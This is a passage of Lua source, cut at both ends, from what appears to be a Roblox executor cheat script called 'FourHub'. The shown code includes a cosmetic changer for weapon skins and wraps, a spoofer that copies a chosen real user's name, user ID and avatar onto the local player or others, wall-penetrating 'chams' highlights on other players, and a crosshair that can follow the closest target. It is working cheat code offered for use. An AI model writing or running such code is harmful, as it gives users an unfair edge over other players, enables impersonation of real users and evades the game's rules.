then return equipped[equipped_name].Skin.Name; end; local pending = uiState.pendingCosmetics and uiState.pendingCosmetics[weaponName]; if pending and pending.Skin and pending.Skin ~= "" then return pending.Skin; end; return nil; end; local function buildWeaponDataForImage(weaponName) local wd; pcall(function() wd = data_ctrl:GetWeaponData(weaponName); end); if type(wd) ~= "table" then wd = { Name = weaponName, Weapon = weaponName, WeaponName = weaponName }; else wd = table.clone(wd); wd.Name = weaponName; end; local skinName = getWeaponSkinName(weaponName, wd); if skinName and skinName ~= "" then local skinData = clone_cosmetic(skinName, "Skin"); if skinData then wd.Skin = skinData; end; end; return wd; end; local function resolveWeaponImage(weaponName) local wd = buildWeaponDataForImage(weaponName); local skinName = getWeaponSkinName(weaponName, wd) or ""; local cacheKey = weaponName .. "\0" .. skinName; if weaponImageCache[cacheKey] ~= nil then return weaponImageCache[cacheKey]; end; local imageId = ""; pcall(function() if item_library.GetViewModelImageFromWeaponData then imageId = item_library:GetViewModelImageFromWeaponData(wd, true) or ""; end; if imageId == "" and item_library.GetWeaponImageFromWeaponData then imageId = item_library:GetWeaponImageFromWeaponData(wd, true) or ""; end; if imageId == "" and item_library.GetImageFromWeaponData then imageId = item_library:GetImageFromWeaponData(wd, true) or ""; end; if imageId == "" and item_library.GetWeaponImage then imageId = item_library:GetWeaponImage(weaponName, true) or ""; end; end); if imageId == "" and skinName ~= "" then imageId = getSkinImageId(skinName, true); end; if imageId == "" then local wn = cosmeticNorm(weaponName); for _, cdata in eli_pairs(cosmetic_lib.Cosmetics or {}) do if type(cdata) == "table" and cdata.Image and cdata.Type == "Skin" then if type(cdata.Weapons) == "table" then for _, w in eli_ipairs(cdata.Weapons) do if cosmeticNorm(w) == wn then imageId = cdata.Image; break; end; end; end; if imageId ~= "" then break end; end; end; end; weaponImageCache[cacheKey] = imageId; return imageId; end; local function resolveCosmeticImage(cname, cosmeticType) cosmeticType = cosmeticType or "Skin"; local cacheKey = cname .. "\0" .. cosmeticType; if cosmeticImageCache[cacheKey] ~= nil then return cosmeticImageCache[cacheKey]; end; local imageId = ""; local base = cosmetic_lib.Cosmetics and cosmetic_lib.Cosmetics[cname]; if type(base) == "table" then imageId = base.Image or base.Icon or base.Thumbnail or base.TextureId or base.PreviewImage or base.WrapImage or base.ItemImage or ""; end; if imageId == "" and cosmeticType == "Wrap" then imageId = getSkinImageId(cname, true); end; if imageId == "" and cosmeticType == "Wrap" and uiState.selectedWeapon then pcall(function() local wd = buildWeaponDataForImage(uiState.selectedWeapon); local wrapData = clone_cosmetic(cname, "Wrap"); if wrapData then wd.Wrap = wrapData; local pend = uiState.pendingWrapOpts and uiState.pendingWrapOpts[uiState.selectedWeapon]; if pend and pend.inverted ~= nil then wrapData.Inverted = pend.inverted; end; end; if item_library.GetViewModelImageFromWeaponData then imageId = item_library:GetViewModelImageFromWeaponData(wd, true) or ""; end; if imageId == "" and item_library.GetWeaponImageFromWeaponData then imageId = item_library:GetWeaponImageFromWeaponData(wd, true) or ""; end; end); end; cosmeticImageCache[cacheKey] = imageId; return imageId; end; local function makeGridTile(parent, displayName, imageId, isActive, palette, onActivated, onRightClick) local main, _, font, outline, _, _, _, inactiveText = palette(); local _, accent = palette(); local tile = Instance.new("TextButton"); tile.Text = ""; tile.AutoButtonColor = false; tile.BackgroundColor3 = isActive and GRID_SELECT_BG or main; tile.BackgroundTransparency = 0; tile.BorderSizePixel = 1; tile.BorderMode = Enum.BorderMode.Inset; tile.BorderColor3 = isActive and accent or outline; tile.Parent = parent; local iconHolder = Instance.new("Frame"); iconHolder.Name = "IconHolder"; iconHolder.BackgroundTransparency = 1; iconHolder.Size = UDim2.new(1, -6, 1, -(GRID_LABEL_H + 4)); iconHolder.Position = UDim2.fromOffset(3, 3); iconHolder.Parent = tile; local icon = Instance.new("ImageLabel"); icon.Name = "Icon"; icon.BackgroundTransparency = 1; icon.Size = UDim2.new(1, 0, 1, 0); icon.ScaleType = Enum.ScaleType.Fit; icon.Image = (imageId and imageId ~= "") and imageId or ""; icon.Parent = iconHolder; local lbl = Instance.new("TextLabel"); lbl.BackgroundTransparency = 1; lbl.Size = UDim2.new(1, -4, 0, GRID_LABEL_H); lbl.Position = UDim2.new(0, 2, 1, -(GRID_LABEL_H + 2)); lbl.Font = Enum.Font.Code; lbl.TextSize = 8; lbl.TextWrapped = true; lbl.TextXAlignment = Enum.TextXAlignment.Center; lbl.TextYAlignment = Enum.TextYAlignment.Top; lbl.Text = string.lower(displayName or ""); lbl.TextColor3 = isActive and font or inactiveText; lbl.Parent = tile; tile.MouseButton1Click:Connect(onActivated); if onRightClick then tile.MouseButton2Click:Connect(onRightClick); end; return tile; end; fitGridToFrame(weaponList, wl); fitGridToFrame(cosmeticList, cl); weaponList:GetPropertyChangedSignal("AbsoluteSize"):Connect(function() fitGridToFrame(weaponList, wl); resizeGridCanvas(weaponList, wl); end); cosmeticList:GetPropertyChangedSignal("AbsoluteSize"):Connect(function() fitGridToFrame(cosmeticList, cl); resizeGridCanvas(cosmeticList, cl); end); uiState.pendingCosmetics = uiState.pendingCosmetics or {}; local function getUiPalette() local main = makeThemeColor("MainColor", Color3.fromRGB(30, 30, 30)); local accent = makeThemeColor("AccentColor", Color3.fromRGB(107, 72, 255)); local font = makeThemeColor("FontColor", Color3.fromRGB(235, 235, 235)); local outline = makeThemeColor("OutlineColor", Color3.fromRGB(60, 60, 60)); local inactiveText = Color3.new(math.clamp(font.R * 0.85, 0, 1), math.clamp(font.G * 0.85, 0, 1), math.clamp(font.B * 0.85, 0, 1)); local activeBg = accent; local activeBorder = accent; local activeText = font; local activeBgTransparency = 0; return main, accent, font, outline, activeBg, activeBorder, activeText, inactiveText, activeBgTransparency; end; styleCosmeticActionButton = function(btn) if not btn then return end; local main, accent, font, outline = getUiPalette(); btn.AutoButtonColor = false; btn.BorderSizePixel = 1; btn.BorderMode = Enum.BorderMode.Inset; btn.BackgroundColor3 = main; btn.BackgroundTransparency = 0; btn.BorderColor3 = outline; btn.TextColor3 = font; btn.Font = uiFont; end; uiState.previewSkin = uiState.previewSkin or nil; uiState.refreshWeapons = function() table.clear(weaponImageCache); fitGridToFrame(weaponList, wl); clearChildren(weaponList); local filter = string.lower(weaponSearch.Text or ""); for _, w in eli_ipairs(getWeapons()) do if filter == "" or string.find(string.lower(w), filter, 1, true) then local isActive = uiState.selectedWeapon == w; makeGridTile(weaponList, w, resolveWeaponImage(w), isActive, getUiPalette, function() uiState.selectedWeapon = w; uiState.previewSkin = nil; uiState.pendingCosmetics[w] = uiState.pendingCosmetics[w] or {}; if uiState.refreshWeapons then uiState.refreshWeapons() end; if uiState.refreshCosmetics then uiState.refreshCosmetics() end; if syncWrapOptionsBar then syncWrapOptionsBar() end; end, function() local ctype = uiState.selectedType or "Skin"; uiState.pendingCosmetics[w] = uiState.pendingCosmetics[w] or {}; uiState.pendingCosmetics[w][ctype] = nil; pcall(function() fireEquipCosmetic(w, ctype, "", {}); end); uiState.previewSkin = nil; task.defer(function() if uiState.refreshWeapons then uiState.refreshWeapons() end; if uiState.refreshCosmetics then uiState.refreshCosmetics() end; end); end); end; end; resizeGridCanvas(weaponList, wl); end; uiState.refreshCosmetics = function() table.clear(cosmeticImageCache); fitGridToFrame(cosmeticList, cl); clearChildren(cosmeticList); local selectedWeapon = uiState.selectedWeapon; if not selectedWeapon then local t = Instance.new("TextLabel"); t.BackgroundTransparency = 1; t.Size = UDim2.new(1, -4, 0, 20); t.Text = "select a weapon first"; t.Font = Enum.Font.Code; t.TextSize = 13; t.Parent = cosmeticList; return end; local filter = string.lower(cosmeticSearch.Text or ""); local ctype = uiState.selectedType or "Skin"; local main, _, _, outline, activeBg, activeBorder, activeText, inactiveText, activeBgTransparency = getUiPalette(); local equippedName = equipped[selectedWeapon] and equipped[selectedWeapon][ctype] and equipped[selectedWeapon][ctype].Name; uiState.pendingCosmetics[selectedWeapon] = uiState.pendingCosmetics[selectedWeapon] or {}; local pendingName = uiState.pendingCosmetics[selectedWeapon][ctype]; for _, cname in eli_ipairs(getCosmeticsFor(selectedWeapon, ctype)) do if filter == "" or string.find(string.lower(cname), filter, 1, true) then local isActive = (equippedName == cname) or (pendingName == cname); makeGridTile(cosmeticList, cname, resolveCosmeticImage(cname, ctype), isActive, getUiPalette, function() uiState.pendingCosmetics[selectedWeapon][ctype] = cname; if ctype == "Skin" then uiState.previewSkin = { weapon = selectedWeapon, name = cname }; if uiState.refreshWeapons then uiState.refreshWeapons() end; end; if ctype == "Wrap" then uiState.pendingWrapOpts[selectedWeapon] = uiState.pendingWrapOpts[selectedWeapon] or {}; if uiState.pendingWrapOpts[selectedWeapon].inverted == nil then local eqWrap = equipped[selectedWeapon] and equipped[selectedWeapon].Wrap; uiState.pendingWrapOpts[selectedWeapon].inverted = eqWrap and eqWrap.Inverted == true or false; end; end; pcall(function() fireEquipCosmetic(selectedWeapon, ctype, cname, {}); end); task.delay(0.05, function() if uiState.refreshCosmetics then uiState.refreshCosmetics() end; if ctype == "Skin" and uiState.refreshWeapons then uiState.refreshWeapons() end; if syncWrapOptionsBar then syncWrapOptionsBar() end; end); end); end; end; resizeGridCanvas(cosmeticList, cl); local mainTab, accentTab, _, outlineTab, _, _, _, inactiveTextTab = getUiPalette(); for tn, b in eli_pairs(typeButtons) do local active = tn == ctype; b.TextTransparency = active and 0 or 0.15; b.BackgroundColor3 = mainTab; b.BackgroundTransparency = 0; b.BorderColor3 = active and accentTab or outlineTab; b.TextColor3 = active and accentTab or inactiveTextTab; end; if syncWrapOptionsBar then syncWrapOptionsBar() end; end; applyBtn.MouseButton1Click:Connect(function() local selectedWeapon = uiState.selectedWeapon; local ctype = uiState.selectedType or "Skin"; if not selectedWeapon then return end; local pendingByWeapon = uiState.pendingCosmetics[selectedWeapon]; local cname = pendingByWeapon and pendingByWeapon[ctype]; if not cname then return end; pcall(function() fireEquipCosmetic(selectedWeapon, ctype, cname, {}); end); task.delay(0.05, function() if uiState.refreshCosmetics then uiState.refreshCosmetics() end; if uiState.refreshWeapons then uiState.refreshWeapons() end; if syncWrapOptionsBar then syncWrapOptionsBar() end; end); end); weaponSearch:GetPropertyChangedSignal("Text"):Connect(function() if uiState.refreshWeapons then uiState.refreshWeapons() end; end); cosmeticSearch:GetPropertyChangedSignal("Text"):Connect(function() if uiState.refreshCosmetics then uiState.refreshCosmetics() end; end); uiState.gui = gui; uiState.frame = outer; uiState.inner = inner; uiState.panel = panel; uiState.accentBar = accentBar; uiState.selectedWeapon = uiState.selectedWeapon or nil; uiState.selectedType = uiState.selectedType or "Skin"; uiState.dismissedThisSession = not showUi; uiState.refreshWeapons(); uiState.refreshCosmetics(); syncCosmeticChangerVisibility(); local function applyCosmeticUiTheme() local main = makeThemeColor("MainColor", Color3.fromRGB(30, 30, 30)); local bg = makeThemeColor("BackgroundColor", Color3.fromRGB(22, 22, 22)); local accent = makeThemeColor("AccentColor", Color3.fromRGB(107, 72, 255)); local font = makeThemeColor("FontColor", Color3.fromRGB(235, 235, 235)); local outline = makeThemeColor("OutlineColor", Color3.fromRGB(60, 60, 60)); outer.BackgroundColor3 = Color3.new(0, 0, 0); inner.BackgroundColor3 = main; panel.BackgroundColor3 = bg; if uiState.accentBar then uiState.accentBar.BackgroundColor3 = accent; end; resizer.BackgroundColor3 = accent; top.BackgroundColor3 = main; title.TextColor3 = font; closeBtn.BackgroundColor3 = main; closeBtn.TextColor3 = font; leftHolder.BackgroundColor3 = bg; rightHolder.BackgroundColor3 = bg; weaponSearch.BackgroundColor3 = main; weaponSearch.TextColor3 = font; weaponSearch.PlaceholderColor3 = Color3.new(font.R * 0.7, font.G * 0.7, font.B * 0.7); weaponSearch.BorderColor3 = outline; cosmeticSearch.BackgroundColor3 = main; cosmeticSearch.TextColor3 = font; cosmeticSearch.PlaceholderColor3 = Color3.new(font.R * 0.7, font.G * 0.7, font.B * 0.7); cosmeticSearch.BorderColor3 = outline; weaponList.BackgroundColor3 = main; weaponList.BorderColor3 = outline; cosmeticList.BackgroundColor3 = main; cosmeticList.BorderColor3 = outline; local ctypeNow = uiState.selectedType or "Skin"; for tn, b in eli_pairs(typeButtons) do local active = tn == ctypeNow; b.BackgroundColor3 = main; b.BackgroundTransparency = 0; b.BorderColor3 = active and accent or outline; b.TextColor3 = active and accent or Color3.new(font.R * 0.85, font.G * 0.85, font.B * 0.85); end; bottomDivider.BackgroundColor3 = outline; skinHint.TextColor3 = Color3.new(font.R * 0.88, font.G * 0.88, font.B * 0.88); for _, key in eli_ipairs({ "Inverted", "Favorited" }) do local toggleData = wrapOptionToggles[key]; if toggleData then toggleData.main = main; toggleData.accent = accent; toggleData.font = font; toggleData.outline = outline; styleThemedToggle(toggleData, toggleData.isOn == true); end; end; styleCosmeticActionButton(fallback); styleCosmeticActionButton(applyBtn); for _, d in eli_ipairs(panel:GetDescendants()) do if d:IsA("TextButton") and d ~= fallback and d ~= applyBtn then local skipBtn = d.Parent == weaponList or d.Parent == cosmeticList or d:IsDescendantOf(wrapToggleRow); if not skipBtn then for _, tabBtn in eli_pairs(typeButtons) do if d == tabBtn then skipBtn = true; break; end; end; end; if not skipBtn then d.BorderColor3 = outline; d.TextColor3 = font; d.BackgroundColor3 = main; end; elseif d:IsA("TextLabel") and not d:IsDescendantOf(weaponList) and not d:IsDescendantOf(cosmeticList) then d.TextColor3 = font; end; end; end; applyCosmeticUiTheme(); getgenv().FourHub_apply_cosmetic_theme = applyCosmeticUiTheme; end; v555:AddButton("cosmetic changer", function() openCosmeticChanger(true); end); task.defer(function() pcall(function() openCosmeticChanger(false); end); end); end ;(function() local spoof_box = Tabs.misc_tab:AddLeftTabbox(); local localTab = spoof_box:AddTab("local"); local otherTab = spoof_box:AddTab("other"); local http = game:GetService("HttpService"); ELI.profile = ELI.profile or {}; local prof = ELI.profile; if prof.spoof_local == nil then prof.spoof_local = false end; if prof.spoof_local_name == nil then prof.spoof_local_name = "" end; if prof.spoof_other == nil then prof.spoof_other = false end; if prof.spoof_other_name == nil then prof.spoof_other_name = "" end; local userCache = {}; local function fetchUser(username) if not username or username == "" then return nil end; if userCache[username] then return userCache[username] end; local id; local ok = pcall(function() id = players:GetUserIdFromNameAsync(username); end); if not ok or not id then return nil end; local data = { id = id, name = username, displayName = username }; pcall(function() local raw = game:HttpGet("https://users.roblox.com/v1/users/" .. tostring(id), true); local dec = http:JSONDecode(raw); if type(dec) == "table" and dec.id then data = { id = dec.id, name = dec.name, displayName = dec.displayName }; end; end); userCache[username] = data; return data; end; local function applyIdentity(player, data) pcall(function() player.Name = data.name end); pcall(function() player.UserId = data.id end); pcall(function() player.CharacterAppearanceId = data.id end); pcall(function() player.DisplayName = data.displayName end); local char = player.Character; if char then pcall(function() char.Name = data.name end); local h = char:FindFirstChildOfClass("Humanoid"); if h then pcall(function() h.DisplayName = data.displayName; local old = h.DisplayDistanceType; h.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None; h.DisplayDistanceType = old; end); end; end; end; local function applyAppearance(player, victimId) local character = player.Character; if not character then return end; local humanoid = character:FindFirstChildOfClass("Humanoid"); if not humanoid then return end; local ok, appearance = pcall(function() return players:GetCharacterAppearanceAsync(victimId) end); if not ok or not appearance then return end; for _, v in eli_pairs(character:GetChildren()) do if v:IsA("Accessory") or v:IsA("Shirt") or v:IsA("Pants") or v:IsA("BodyColors") or v:IsA("CharacterMesh") or v:IsA("ShirtGraphic") then v:Destroy(); end; end; for _, v in eli_pairs(appearance:GetChildren()) do if v:IsA("Shirt") or v:IsA("Pants") or v:IsA("BodyColors") or v:IsA("CharacterMesh") then v.Parent = character; elseif v:IsA("Accessory") then pcall(function() humanoid:AddAccessory(v) end); end; end; pcall(function() appearance:Destroy() end); local targetHead = character:FindFirstChild("Head"); if targetHead then pcall(function() local json = game:HttpGet("https://avatar.roblox.com/v1/users/" .. tostring(victimId) .. "/avatar", true); local info = http:JSONDecode(json); local faceId, hasDynamic = nil, false; for _, asset in eli_pairs(info.assets or {}) do if asset.assetType then if asset.assetType.id == 18 then faceId = asset.id; elseif asset.assetType.id == 79 then hasDynamic = true; end; end; end; if faceId then local tex; local objs = game:GetObjects("rbxassetid://" .. tostring(faceId)); for _, obj in eli_pairs(objs) do if obj:IsA("Decal") then tex = obj.Texture; else for _, ch in eli_pairs(obj:GetDescendants()) do if ch:IsA("Decal") then tex = ch.Texture; break; end; end; end; if tex then break end; end; if tex then local face = targetHead:FindFirstChild("face"); if face then face.Texture = tex; else local nf = Instance.new("Decal"); nf.Name = "face"; nf.Texture = tex; nf.Parent = targetHead; end; end; elseif not hasDynamic then if targetHead:FindFirstChild("face") then targetHead.face:Destroy() end; targetHead.Transparency = 1; local mesh = targetHead:FindFirstChildOfClass("SpecialMesh"); if mesh then mesh.Scale = Vector3.new(0, 0, 0) end; end; end); end; end; local applied = {}; local function spoofPlayer(player, username) task.spawn(function() local data = fetchUser(username); if not data then return end; applied[player] = data; applyIdentity(player, data); applyAppearance(player, data.id); end); end; local function doLocal() if not prof.spoof_local or prof.spoof_local_name == "" then return end; spoofPlayer(local_player, prof.spoof_local_name); end; local function doOtherPlayer(plr) if not prof.spoof_other or prof.spoof_other_name == "" then return end; if plr == local_player then return end; spoofPlayer(plr, prof.spoof_other_name); end; local function doOtherAll() for _, plr in eli_ipairs(players:GetPlayers()) do doOtherPlayer(plr); end; end; localTab:AddToggle("SpoofLocal", { Text = "local", Default = false, Callback = function(val) prof.spoof_local = val; if val then doLocal() end; end }); local localNameStamp = 0; localTab:AddInput("SpoofLocalName", { Text = "name", Default = "", Placeholder = "username...", Callback = function(val) prof.spoof_local_name = val or ""; localNameStamp = tick(); local stamp = localNameStamp; task.delay(0.6, function() if stamp == localNameStamp and prof.spoof_local then doLocal(); end; end); end }); otherTab:AddToggle("SpoofOther", { Text = "other", Default = false, Callback = function(val) prof.spoof_other = val; if val then doOtherAll() end; end }); local otherNameStamp = 0; otherTab:AddInput("SpoofOtherName", { Text = "name", Default = "", Placeholder = "username...", Callback = function(val) prof.spoof_other_name = val or ""; otherNameStamp = tick(); local stamp = otherNameStamp; task.delay(0.6, function() if stamp == otherNameStamp and prof.spoof_other then doOtherAll(); end; end); end }); trove:Add(local_player.CharacterAdded:Connect(function() task.wait(0.5); doLocal(); end)); local function hookOther(plr) trove:Add(plr.CharacterAdded:Connect(function() task.wait(0.5); doOtherPlayer(plr); end)); end; for _, plr in eli_ipairs(players:GetPlayers()) do if plr ~= local_player then hookOther(plr); end; end; trove:Add(players.PlayerAdded:Connect(function(plr) hookOther(plr); doOtherPlayer(plr); end)); local lastReapply = 0; trove:Add(run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function() local now = tick(); if now - lastReapply < 1 then return end; lastReapply = now; if prof.spoof_local and prof.spoof_local_name ~= "" and applied[local_player] then applyIdentity(local_player, applied[local_player]); end; if prof.spoof_other and prof.spoof_other_name ~= "" then for _, plr in eli_ipairs(players:GetPlayers()) do if plr ~= local_player and applied[plr] then applyIdentity(plr, applied[plr]); end; end; end; end))); end)() ;(function() local cfg = ELI; local material_presets = getgenv().FourHub_materials.presets; local material_preset_names = getgenv().FourHub_materials.names; local enhance_box = Tabs.visualstab:AddLeftTabbox(); local chams_tab = enhance_box:AddTab("chams"); local crosshair_tab = Tabs.visualstab:AddRightTabbox(); local highlights = {}; local body_parts = {}; local function drop_highlight(plr) if highlights[plr] then pcall(function() highlights[plr]:Destroy() end); highlights[plr] = nil; end; end; local function restore_body(plr) local saved = body_parts[plr]; if not saved then return end; for part, props in eli_pairs(saved) do if part.Parent then part.Material = props.material; part.Color = props.color; part.Reflectance = props.reflectance; part.Transparency = props.transparency; for tex, transparency in eli_pairs(props.textures) do if tex.Parent then tex.Transparency = transparency end; end; end; end; body_parts[plr] = nil; end; local function drop_chams(plr) drop_highlight(plr); restore_body(plr); end; local function clear_chams() for plr in eli_pairs(highlights) do drop_highlight(plr) end; for plr in eli_pairs(body_parts) do restore_body(plr) end; end; local function apply_highlight(plr, char) local hl = highlights[plr]; if not hl or not hl.Parent then hl = Instance.new("Highlight"); hl.Name = "FourHub_chams"; hl.DepthMode = Enum.HighlightDepthMode.AlwaysOnTop; highlights[plr] = hl; hl.Parent = char; end; hl.Adornee = char; hl.FillColor = cfg.chams.fill_color; hl.FillTransparency = cfg.chams.fill_transparency; hl.OutlineColor = cfg.chams.outline_color; hl.OutlineTransparency = cfg.chams.outline_transparency; end; local function apply_body(plr, char) local preset = material_presets[cfg.chams.material] or material_presets.Neon; local saved = body_parts[plr]; if not saved then saved = {}; body_parts[plr] = saved; end; local transparency = preset.transparency or 0; if cfg.chams.ghost then transparency = math.max(transparency, 0.55) end; for _, part in eli_ipairs(char:GetDescendants()) do if part:IsA("BasePart") and part.Transparency < 1 then if not saved[part] then local textures = {}; for _, tex in eli_ipairs(part:GetChildren()) do if tex:IsA("Decal") or tex:IsA("Texture") then textures[tex] = tex.Transparency; end; end; saved[part] = { material = part.Material, color = part.Color, reflectance = part.Reflectance, transparency = part.Transparency, textures = textures, }; end; part.Material = preset.material; part.Color = cfg.chams.fill_color; part.Reflectance = preset.reflectance or 0; part.Transparency = transparency; if cfg.chams.strip_textures then for tex in eli_pairs(saved[part].textures) do if tex.Parent then tex.Transparency = 1 end; end; end; end; end; end; local function apply_chams(plr) if plr == local_player then return end; local char = plr.Character; if not char then return drop_chams(plr) end; local humanoid = char:FindFirstChildOfClass("Humanoid"); if not humanoid or humanoid.Health <= 0 then return drop_chams(plr); end; if cfg.chams.team_check and plr:GetAttribute("TeamID") == local_player:GetAttribute("TeamID") then return drop_chams(plr); end; if cfg.chams.mode == "chams" then drop_highlight(plr); apply_body(plr, char); else restore_body(plr); apply_highlight(plr, char); end; end; local chams_last = 0; trove:Add(run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function() if not cfg.chams.enable then if next(highlights) or next(body_parts) then clear_chams() end; return end; local now = tick(); if now - chams_last < 0.2 then return end; chams_last = now; for _, plr in eli_ipairs(players:GetPlayers()) do apply_chams(plr); end; for plr in eli_pairs(highlights) do if not plr.Parent then drop_highlight(plr) end; end; for plr in eli_pairs(body_parts) do if not plr.Parent then body_parts[plr] = nil end; end; end))); trove:Add(clear_chams); local function sync_chams_visibility() local body_mode = cfg.chams.mode == "chams"; Options.ChamsMaterial:SetVisible(body_mode); Options.ChamsStripTextures:SetVisible(body_mode); Options.ChamsGhost:SetVisible(body_mode); end; chams_tab:AddToggle("ChamsEnable", { Text = "enable", Default = false, Callback = function(v) cfg.chams.enable = v; if not v then clear_chams() end; end }); chams_tab:AddToggle("ChamsTeamCheck", { Text = "team check", Default = false, Callback = function(v) cfg.chams.team_check = v; end }); chams_tab:AddDropdown("ChamsMode", { Text = "type", Default = "highlight", Values = { "highlight", "chams" }, Callback = function(v) clear_chams(); cfg.chams.mode = v; sync_chams_visibility(); end }); chams_tab:AddLabel("fill"):AddColorPicker("ChamsFill", { Default = Color3.fromRGB(0, 170, 255), Transparency = 0.5, Callback = function(color, transparency) cfg.chams.fill_color = color; cfg.chams.fill_transparency = transparency or cfg.chams.fill_transparency; end }); chams_tab:AddLabel("outline"):AddColorPicker("ChamsOutline", { Default = Color3.fromRGB(255, 255, 255), Transparency = 0, Callback = function(color, transparency) cfg.chams.outline_color = color; cfg.chams.outline_transparency = transparency or cfg.chams.outline_transparency; end }); chams_tab:AddDropdown("ChamsMaterial", { Text = "material", Default = "Neon", Values = material_preset_names, Visible = false, Callback = function(v) cfg.chams.material = v; end }); chams_tab:AddToggle("ChamsStripTextures", { Text = "strip textures", Default = false, Visible = false, Callback = function(v) cfg.chams.strip_textures = v; end }); chams_tab:AddToggle("ChamsGhost", { Text = "ghost", Default = false, Visible = false, Callback = function(v) cfg.chams.ghost = v; end }); local ch_lines, ch_line_outlines = {}, {}; for i = 1, 4 do local outline = Drawing.new("Line"); outline.Visible = false; outline.Thickness = 3; outline.Transparency = 1; outline.Color = Color3.new(0, 0, 0); ch_line_outlines[i] = outline; local l = Drawing.new("Line"); l.Visible = false; l.Thickness = 1; l.Transparency = 1; ch_lines[i] = l; end; local ch_ring_outline = Drawing.new("Circle"); ch_ring_outline.Filled = false; ch_ring_outline.NumSides = 48; ch_ring_outline.Thickness = 3; ch_ring_outline.Transparency = 1; ch_ring_outline.Color = Color3.new(0, 0, 0); ch_ring_outline.Visible = false; local ch_ring = Drawing.new("Circle"); ch_ring.Filled = false; ch_ring.NumSides = 48; ch_ring.Thickness = 1; ch_ring.Transparency = 1; ch_ring.Visible = false; local ch_dot_outline = Drawing.new("Circle"); ch_dot_outline.Filled = true; ch_dot_outline.NumSides = 24; ch_dot_outline.Radius = 1; ch_dot_outline.Transparency = 1; ch_dot_outline.Color = Color3.new(0, 0, 0); ch_dot_outline.Visible = false; local ch_dot = Drawing.new("Circle"); ch_dot.Filled = true; ch_dot.NumSides = 24; ch_dot.Radius = 1; ch_dot.Transparency = 1; ch_dot.Visible = false; local ch_text_gui = Instance.new("ScreenGui"); ch_text_gui.Name = "FourHub_crosshair_text"; ch_text_gui.ResetOnSpawn = false; ch_text_gui.IgnoreGuiInset = true; ch_text_gui.DisplayOrder = 999; ch_text_gui.Parent = gethui(); local ch_text = Instance.new("TextLabel"); ch_text.BackgroundTransparency = 1; ch_text.AnchorPoint = Vector2.new(0.5, 0); ch_text.Size = UDim2.fromOffset(0, 0); ch_text.AutomaticSize = Enum.AutomaticSize.XY; ch_text.TextXAlignment = Enum.TextXAlignment.Center; ch_text.Visible = false; ch_text.Parent = ch_text_gui; local ch_text_fonts = {}; local function ch_get_font(name) if ch_text_fonts[name] then return ch_text_fonts[name] end; local font; if name == "Inconsolata" then local ok, f = pcall(Font.fromName, "Inconsolata"); font = ok and f or Font.fromEnum(Enum.Font.Code); elseif name == "UI" then font = Font.fromEnum(Enum.Font.GothamMedium); elseif name == "System" then font = Font.fromEnum(Enum.Font.SourceSans); elseif name == "Monospace" then font = Font.fromEnum(Enum.Font.RobotoMono); else font = Font.fromEnum(Enum.Font.Code); end; ch_text_fonts[name] = font; return font; end; local function hide_ch_lines() for i = 1, 4 do ch_lines[i].Visible = false; ch_line_outlines[i].Visible = false; end; end; local function hide_crosshair() hide_ch_lines(); ch_ring.Visible = false; ch_ring_outline.Visible = false; ch_dot.Visible = false; ch_dot_outline.Visible = false; ch_text.Visible = false; end; local ch_spin = 0; local ch_clock = 0; local function ch_anchor() local c = cfg.crosshair; if c.follow_target then if c.follow_source == "gunpoint" and GetMuzzlePos then local mp = GetMuzzlePos(); if mp then return mp end; else local t = (getclosest and getclosest()) or (getclosest2 and getclosest2()); if t and t.Character then local part = t.Character:FindFirstChild(ELI.targeting.part) or t.Character:FindFirstChild("HumanoidRootPart"); if part then local sp, on = camera:WorldToViewportPoint(part.Position); if on then return Vector2.new(sp.X, sp.Y) end; end; end; end; end; local vp = camera.ViewportSize; return Vector2.new(vp.X / 2, vp.Y / 2); end; local function ch_arms(style, gap, length) if style == "t" then return { { Vector2.new(0, gap), Vector2.new(0, gap + length), "bottom_line" }, { Vector2.new(-gap, 0), Vector2.new(-gap - length, 0), "left_line" }, { Vector2.new(gap, 0), Vector2.new(gap + length, 0), "right_line" }, }; elseif style == "x" then local d = 0.70710678; return { { Vector2.new(-d, -d) * gap, Vector2.new(-d, -d) * (gap + length), "top_line" }, { Vector2.new(d, d) * gap, Vector2.new(d, d) * (gap + length), "bottom_line" }, { Vector2.new(-d, d) * gap, Vector2.new(-d, d) * (gap + length), "left_line" }, { Vector2.new(d, -d) * gap, Vector2.new(d, -d) * (gap + length), "right_line" }, }; end; return { { Vector2.new(0, -gap), Vector2.new(0, -gap - length), "top_line" }, { Vector2.new(0, gap), Vector2.new(0, gap + length), "bottom_line" }, { Vector2.new(-gap, 0), Vector2.new(-gap - length, 0), "left_line" }, { Vector2.new(gap, 0), Vector2.new(gap + length, 0), "right_line" }, }; end; local function local_speed() local char = local_player.Character; local root = char and char:FindFirstChild("HumanoidRootPart"); if not root then return 0 end; local vel = root.AssemblyLinearVelocity; return Vector2.new(vel.X, vel.Z).Magnitude; end; trove:Add(run_service.RenderStepped:Connect(LPH_NO_VIRTUALIZE(function(dt) local c = cfg.crosshair; if not c.enable then hide_crosshair(); return end; ch_clock += dt; if c.rotating then ch_spin = (ch_spin + c.rotating_speed * dt) % 360; end; local rad = math.rad(c.rotation + (c.rotating and ch_spin or 0)); local cosv, sinv = math.cos(rad), math.sin(rad); local anchor = ch_anchor(); local length = c.length; local gap = c.gap; if c.animation then local wave = (math.sin(ch_clock * c.animation_speed) + 1) * 0.5; if c.animation_mode == "breathe" then gap = gap + wave * length * 0.6; else length = length * (0.55 + wave * 0.45); end; end; if c.spread then gap = gap + math.clamp(local_speed() * 0.12 * c.spread_scale, 0, 60); end; local color = c.color; if c.fade then color = c.color:Lerp(c.fade_color, (math.sin(ch_clock * 1.5) + 1) * 0.5); end; local transparency = 1; if c.shimmer then transparency = 0.45 + (math.sin(ch_clock * c.shimmer_speed) + 1) * 0.5 * 0.55; end; local thick = c.thickness; if c.style == "circle" then hide_ch_lines(); ch_dot.Visible = false; ch_dot_outline.Visible = false; if c.outline then ch_ring_outline.Position = anchor; ch_ring_outline.Radius = length; ch_ring_outline.Color = c.outline_color; ch_ring_outline.Thickness = thick + 2; ch_ring_outline.Transparency = transparency; ch_ring_outline.Visible = true; else ch_ring_outline.Visible = false; end; ch_ring.Position = anchor; ch_ring.Radius = length; ch_ring.Color = color; ch_ring.Thickness = thick; ch_ring.Transparency = transparency; ch_ring.Visible = true; elseif c.style == "dot" then hide_ch_lines(); ch_ring.Visible = false; ch_ring_outline.Visible = false; else ch_ring.Visible = false; ch_ring_outline.Visible = false; local arms = ch_arms(c.style, gap, length); for i = 1, 4 do local arm = 